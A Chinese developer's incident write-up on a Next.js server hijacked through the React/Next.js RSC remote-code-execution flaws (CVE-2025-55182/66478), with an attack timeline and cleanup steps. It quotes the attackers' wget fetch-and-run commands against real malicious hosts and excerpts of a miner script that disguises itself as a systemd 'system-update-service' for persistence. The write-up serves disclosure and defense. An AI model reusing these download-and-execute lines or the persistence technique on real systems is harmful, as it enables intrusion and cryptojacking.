紧急!Next.js高危漏洞致服务器被黑,我已经中招了!附解决方案
刚刚,我的服务器因为一个高危漏洞被入侵了,沦为了矿机!把我的经历分享出来,希望更多程序员朋友们不要中招,抓紧预防处理。
事故现场
2025 年 12 月 5 日下午,腾讯云给我发来一条安全告警通知,说我的业务存在 React/Next.js 远程代码执行(CVE-2025-55182/CVE-2025-66478)高危安全风险。

然后在当晚,腾讯云就给我发了第二条通知,说是我的服务器上检测到存在恶意文件,显然是一个挖矿程序。

但很遗憾的是,昨天我正在老家处理事情,没来得及看到这些通知,而且可气的是,攻击者专挑周五下班时间作案,所以我团队同学也没注意。
等到今天早上一睁眼,发现站内信全是告警,攻击者在早上 6 点和 9 点又进行了几次行动。这时我们团队群里也已经炸锅了,大家就一起排查处理。

首先我查看了前端项目的依赖管理文件 package.json:
{
"dependencies": {
"next": "15.3.3"
}
}
发现我编程导航训练营项目使用的 Next.js 版本(15.3.3)正好在漏洞影响范围内!

然后我查看了应用日志 camp_codefather_cn.log,发现了很多线索,并配合腾讯云主机安全提供的告警分析,还原了攻击者的完整作案过程。

时间线如下:
📅 2025-12-05 19:59:42 【第一波攻击】下载恶意脚本
📅 2025-12-05 20:04:00 【第二波攻击】部署挖矿程序
📅 2025-12-06 06:13:43 【第三波攻击】植入 DDoS 木马
📅 2025-12-06 09:29:33 【第四波攻击】运行内存木马
📅 2025-12-06 09:42:00 【持续攻击】尝试建立后门
1、下载恶意脚本,部署挖矿程序
首先晚上 7 点 59 分,攻击者利用 Next.js RSC 漏洞,通过发送特制的 HTTP POST 请求,执行命令下载了恶意脚本 sex.sh:
wget http://vps-zap812595-1.zap-srv.com:3000/sex.sh -O sex.sh
chmod +x sex.sh
./sex.sh
日志记录:
--2025-12-05 19:59:42-- http://vps-zap812595-1.zap-srv.com:3000/sex.sh
Resolving vps-zap812595-1.zap-srv.com (vps-zap812595-1.zap-srv.com)... 45.146.252.37
Connecting to vps-zap812595-1.zap-srv.com (vps-zap812595-1.zap-srv.com)|45.146.252.37|:3000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1619 (1.6K) [text/x-sh]
Saving to: 'sex.sh'
2025-12-05 19:59:42 (148 MB/s) - 'sex.sh' saved [1619/1619]
从这里能看出来,这个时候攻击者已经可以通过 Next.js 的漏洞为所欲为了!
我下载了这个 sex.sh 脚本文件,带大家 “鉴赏一下”。
首先攻击者配置了挖矿参数,连接到攻击者的矿池、使用攻击者的门罗币钱包,并伪装成系统更新服务。
ARGS="--url pool.hashvault.pro:443 --user 89ASvi6ZBHXE6y...(攻击者的钱包地址)"
SERVICE_NAME="system-update-service" # ⚠️ 伪装成系统服务
然后伪装成浏览器请求,从 GitHub 下载合法的 XMRig 挖矿软件
curl -L -o kal.tar.gz \
--user-agent "Mozilla/5.0..." \ # ⚠️ 伪装成浏览器
https://github.com/xmrig/xmrig/releases/download/v6.24.0/xmrig-6.24.0-linux-static-x64.tar.gz
tar xvzf kal.tar.gz
接下来创建系统服务,设置开机自启、进程崩溃后自动重启。也就是说,即使重启服务器,木马依然运行!
# 创建 systemd 服务
cat > /etc/systemd/system/system-update-service.service <<EOF
[Service]
ExecStart=/path/to/xmrig --url pool.hashvault.pro:443 ...
Restart=always # ⚠️ 崩溃后自动重启
[Install]
WantedBy=multi-user.target # ⚠️ 开机自启
EOF
systemctl enable system-update-service
systemctl start system-update-service
如果没有 root 权限,会在后台运行挖矿程序,并重定向输出到 /dev/null,不留日志。
nohup /path/to/xmrig $ARGS >/dev/null 2>&1 &
完整代码我分享到

我都忍不住赞美攻击者了,这个程序写得真不错,短小凝练,不仅有隐蔽和伪装、还考虑到了持久化和降级。

这段代码执行完,我的服务器就已经脏了,挖矿程序开始在后台运行,持续消耗我的服务器资源为攻击者挖取门罗币。

2、植入 DDoS 木马
然后是第二天早上 6 点多,攻击者不讲武德,给我的服务器植入了第二个恶意程序。
先看看日志记录:
--2025-12-06 06:13:43-- http://res.qiqigece.top/nginx2
Resolving res.qiqigece.top (res.qiqigece.top)... 154.38.121.219
Connecting to res.qiqigece.top (res.qiqigece.top)|154.38.121.219|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1371145 (1.3M) [application/octet-stream]
Saving to: '/tmp/nginx3'
2025-12-06 06:13:43 (6.32 MB/s) - '/tmp/nginx3' saved [1371145/1371145]
攻击者通过 wget 下载了一个特制的 Nginx 网站服务器文件,还特意选择了权限宽松的 /tmp 目录。
wget -O /tmp/nginx3 http://res.qiqigece.top/nginx2
chmod 777 /tmp/nginx3
/tmp/nginx3
根据安全报告,这是一个 DDoS 攻击木马类的恶意程序,可以把我的服务器变成太美的 “肉鸡”,参与对其他服务器的 DDoS 攻击。

不仅会消耗服务器的带宽,还可能导致我的服务器 IP 被封;更严重的是,我有可能直接就参与网络攻击了?!
这难道就是传说中的人在家中坐,锅从天上来?

6 点我特么还在床上躺着流口水做梦呢,攻击者努力得让人心疼啊!
3、植入内存木马
到了早上 9 点 29 分,攻击者又发力了 ,又给我的服务器植入了一个木马类的恶意程序 /dev/shm/java:

不过有点儿奇怪的是,这次的文件竟然已经被删除掉了?
我才不相信攻击者良心发现呢,我通过下列命令看了下进程:
ls -l /proc/*/exe | grep deleted
发现竟然有 4 个木马进程同时运行!
lrwxrwxrwx 1 www www 0 Dec 6 10:48 /proc/1659874/exe -> /dev/shm/java (deleted)
lrwxrwxrwx 1 www www 0 Dec 6 10:48 /proc/1659875/exe -> /dev/shm/java (deleted)
lrwxrwxrwx 1 www www 0 Dec 6 10:48 /proc/1659876/exe -> /dev/shm/java (deleted)
lrwxrwxrwx 1 www www 0 Dec 6 10:48 /proc/1659877/exe -> /dev/shm/java (deleted)
狠啊,真狠啊,1 个进程还不够是吧?
我猜 “删除文件” 是攻击者为了 防止取证,让文件运行在 Linux 的共享内存文件系统 /dev/shm 中,并且故意把文件删除掉,让 ls、find 等命令找不到它,但其实进程仍然在继续运行,增加了取证排查的难度。
4、持续探测
上午 9 点 42 分,攻击者又来了,这次是从一个波兰的 IP 地址下载了一个程序,并赋予极高的访问权限,然后还想远程下载并执行另外一个远程脚本。

很可惜我的服务器并没有 busybox(嵌入式 Linux 常用的工具集),所以这次攻击被阻止了:
/bin/sh: line 1: busybox: command not found
chmod: cannot access 'x86': No such file or directory
/bin/sh: line 1: ./x86: No such file or directory
但这也说明攻击者在 持续尝试 建立多重后门。真是丧尽天良,丧心病狂啊!
漏洞简介
分享到这里,想必大家已经感受到这次漏洞的危害了吧。
主要是 2 个远程代码执行漏洞:
-
CVE-2025-55182:React Server Components 远程代码执行漏洞
-
CVE-2025-66478:Next.js App Router 远程代码执行漏洞
据官方描述,在 React 的服务器组件库中,由于 React 在解码发送至服务器函数端点的请求负载时存在安全缺陷,导致未经身份验证的远程攻击者可以通过 向任何服务器函数端点发送特制的恶意 HTTP 请求,当该请求被 React 反序列化处理时,即可 在服务器上实现远程代码执行,从而完全控制服务器。
这次漏洞的影响范围很大,包括使用了 React 服务器组件的应用、使用了不安全版本的 Next.js 应用等等。注意,不仅仅是你自己开发的应用,如果你服务器上安装了其他符合这些特征的应用,一样会中招!攻击者是可以通过程序批量扫描这些应用的,发现一个攻击一个。
你看漏洞是前两天刚刚披露的,我这就中招了。我们团队的小伙伴自己的服务器也中招了,他通过一个
开源的扫描工具:https://github.com/Malayke/Next.js-RSC-RCE-Scanner-CVE-2025-66478

好家伙,几乎没有任何成本,就能为所欲为,植入后门、生产垃圾、拿来挖矿、盗取信息!
而且很多朋友可能没有及时发现、或者不知道怎么处理,就会一直被攻击者当成矿工来利用。
如何处理?
如果条件允许的话,建议是立刻隔离服务器,防止被攻击者拿来利用、植入更多恶意程序、或者获取更多信息。
然后通过编写 Linux 脚本来清理恶意文件:
注意,以下脚本仅供参考,实际以操作系统和攻击情况为主,用 AI 生成即可
# 删除整个挖矿目录
rm -rf /www/wwwroot/xxx/xmrig-6.24.0/
rm -f /www/wwwroot/xxx/sex.sh
rm -f /www/wwwroot/xxx/kal.tar.gz
# 删除 /tmp 下的恶意文件
rm -f /tmp/nginx3
rm -f /tmp/x86
光删除文件还不够,还要查找并终止所有恶意进程:
# 查找 xmrig 进程
ps aux | grep -E "(xmrig|minerd|cpuminer)" | grep -v grep
# 查找可疑进程
ps aux | grep -E "(nginx3|/tmp/|/dev/shm)" | grep -v grep
# 查看被删除但仍在运行的进程
ls -l /proc/*/exe 2>/dev/null | grep deleted
# 终止进程
kill -9 <PID>
最后,还要停止恶意的 systemd 服务:
# 查找可疑服务
systemctl list-units --type=service | grep -E "(update|system|miner|crypto)"
# 示例输出
system-update-service.service loaded active running System Update Service
# 停止并禁用
systemctl stop system-update-service
systemctl disable system-update-service
# 删除服务文件
rm -f /etc/systemd/system/system-update-service.service
# 重新加载
systemctl daemon-reload
当然,如果你的服务器上本来就没什么东西,也可以选择简单粗暴的方式,重装系统!
不过最重要的是,要解决根本问题,把 Next.js 应用升级到安全版本。

最后
通过这次事故呢,我觉得多关注安全通告、做好服务器的安全监控还是非常重要的,要是没有安全告警,可能几个月都没办法意识到这些攻击。
而且建议大家把应用尽量运行在非 root 权限下,尽可能减少风险。平时养成定期备份的习惯,出了问题即使重新安装服务器,也不会造成数据丢失。
OK 就分享到这里吧,如果你觉得本期内容有帮助,记得 转发分享 给身边的程序员朋友,让他们尽快意识到并修复问题,不要再让丑陋的、卑鄙的、老奸巨猾的攻击者得逞了!

刚刚,我的服务器因为一个高危漏洞被入侵了,沦为了矿机!把我的经历分享出来,希望更多程序员朋友们不要中招,抓紧预防处理。
浙公网安备 33010602011771号